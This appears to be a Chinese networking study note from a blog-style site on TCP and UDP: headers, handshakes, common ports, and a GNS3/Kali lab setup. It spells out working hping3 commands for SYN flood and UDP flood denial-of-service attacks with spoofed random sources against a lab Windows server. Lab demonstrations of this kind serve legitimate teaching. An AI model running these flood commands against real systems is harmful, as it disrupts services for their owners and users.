当前位置: 首页 > java >正文

传输层协议 1.TCP 2.UDP

传输层协议

1.TCP
2.UDP

TCP协议

回顾内容

  1. 传输层功能:定义应用层协议数据报文的端口号,流量控制
  2. 对原始数据进行分段处理

传输层所提供服务

  • 传输连接服务
  • 数据传输服务:流量控制、差错控制、序列控制

一、传输层的TCP协议

1.面向连接的传输协议

  • 要求数据在传输以前必须建立连接,数据传输后,必须释放连接
  • 仅支持单播传输,在两个终端之间建立的点对点连接

2.UDP用户数据报协议

二、TCP报文字段

1746360534643

字段含义:TCP报文格式详解,图解超详细!

【计算机网络】TCP协议——1.报文格式详解_tcp报文-CSDN博客

1.建立三次握手

1746361800606

2.TCP释放连接的四次挥手

1746364896983

3.TCP半关闭状态
4.TCP半连接状态

会产生SYN flood,属于DoS的一种。

5.常见TCP端口号
  • 21 FTP
  • 22 SSH
  • 23 TELNET
  • 25 SMTP
  • 53 DNS
  • 80 HTTP
  • 110 POP3
  • 143 IMAP4
  • 443 HTTPS
  • 3306 MYSQL
  • 3389 RDP

三、实施SYN flood

实施:

  • 在kali上使用hping3工具

防御:

  • 使用TCP代理(防火墙),比如10G的带宽,需要很多个w
  • TCP源探测,防火墙开启该功能,下一代防火墙

1746366912608

1.GNS3中
  • 安装好GNS3之后,进行配置

    1746457541834

#进入路由器中

1746457897251

2.kali中

输入:进入vim

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

#在kali中,将网段设置成VMnet1
vim /etc/...
#按下A键
#写入
auto eth0
iface eth0 inet static
address 192.168.1.50
netmask 255.255.255.0
gateway 192.168.1.254
#写完后按下esc键,:
:wq! #保存并退出ifdown eth0 #关闭网口
ifup eth0 #打开网口
ifconfig #查看kali的IP地址
route -n #查看路由表
#在Windows server 2016中,将网络设置为VMnet8
#W配置IP地址
#进入cmd
netsh interface ip set address "Ethernet0" static 192.168.2.100 255.255.255.0 192.168.2.254
ipconfig
#在kali中实施攻击
hping -c 1000 -d 200 -S -w 64 -p 80 --flood --rand-source 192.168.2.100

四、Windows Server 2016搭建网站

  • 打开服务器管理器

1746538395320

  • 管理
  • 添加角色和功能
  • 下一步,下一步
  • 服务器选择:下一步
  • 勾选web服务器,添加功能,下一步

1746538563686

  • 一直下一步,直到安装

1746538847832

五、安装GNS3

超详细GNS3安装和使用教程,避免各种报错 - ghbuff - 博客园

【CCNP | 网络模拟器GNS系列】安装、配置和使用 GNS3_gns3的安装步骤及导入路由器镜像的过程-CSDN博客

UDP协议

UDP(用户数据报)协议,是传输层的另外一个协议

一、简单概念

1、特点

不需要建立连接,直接发送数据,不会去重新排序,不需要确认

2、报文字段
  • 源端口
  • 目标端口
  • UDP长度
  • UDP校验和
3、常见的UDP端口号
  • 53 DNS
  • 69 TFTP
  • 111 RPC
  • 123 NTP
  • 161 SNMP

二、实施UDP Flood攻击

1746627267512

配置路由器IP

1746627460797

1746625790475

1746625852012

在Windows中

netstat -anop udp

开启53号端口
1746626095365

在kali中实施攻击

hping3 -q -n --rand-source --udp -p 53 --flood 192.168.2.100 -d 10000

http://www.xdnf.cn/news/4464.html

相关文章:

  • 碰一碰发视频源码搭建的技术迭代与升级实践
  • 16.Excel:数据收集
  • cuda矩阵加法
  • 【解决】VsCode C++异常【terminate called after throwing an instance of ‘char const‘】
  • STM32的网络天气时钟项目
  • 【AI提示词】双系统理论专家
  • 在IDEA中编写Spark程序并运行
  • 深入解析Http11AprProtocol:Tomcat高性能通信的底层原理
  • MySQL OCP和Oracle OCP怎么选?
  • daplink开发_一次开发DAPLink的详细开发流程及调试步骤
  • 多线服务器具有什么优势
  • 5月7日星期三今日早报简报微语报早读
  • python爬虫爬取网站图片出现403解决方法【仅供学习使用】
  • vue3+ts的computed属性怎么用?
  • yarn的概述
  • 【MATLAB源码-第277期】基于matlab的AF中继系统仿真,AF和直传误码率对比、不同中继位置误码率对比、信道容量、中继功率分配以及终端概率。
  • SAP BC 私有云用户安全策略的问题
  • ACE-Step:扩散自编码文生音乐基座模型快速了解
  • 从彼得·蒂尔四象限看 Crypto「情绪变迁」:从密码朋克转向「标准化追求者」
  • 5.0.4 VisualStateManager(视觉状态管理器)使用说明
  • 2025 Mac常用软件安装配置
  • UE5.3 C++ 如何在c++ 中拿到UI元素,并绑定不同事件响应功能
  • WPF MVVM进阶系列教程(一、对话框)
  • 广告屏蔽插件的内部细节EasyList 规则详解:为什么广告屏蔽不直接用 CSS/JS?​(彩蛋)
  • MATLAB在数学问题求解中的多元应用探究
  • BeanFactoryPostProcessor 与 BeanPostProcessor 的区别
  • 【Qt】Qt 构建系统详解:qmake 入门到项目实战
  • 鸿蒙开发——2.ArkTS声明式开发(页面和自定义组件)
  • HTTP请求与缓存、页面渲染全流程
  • 【Java ee 初阶】多线程(8)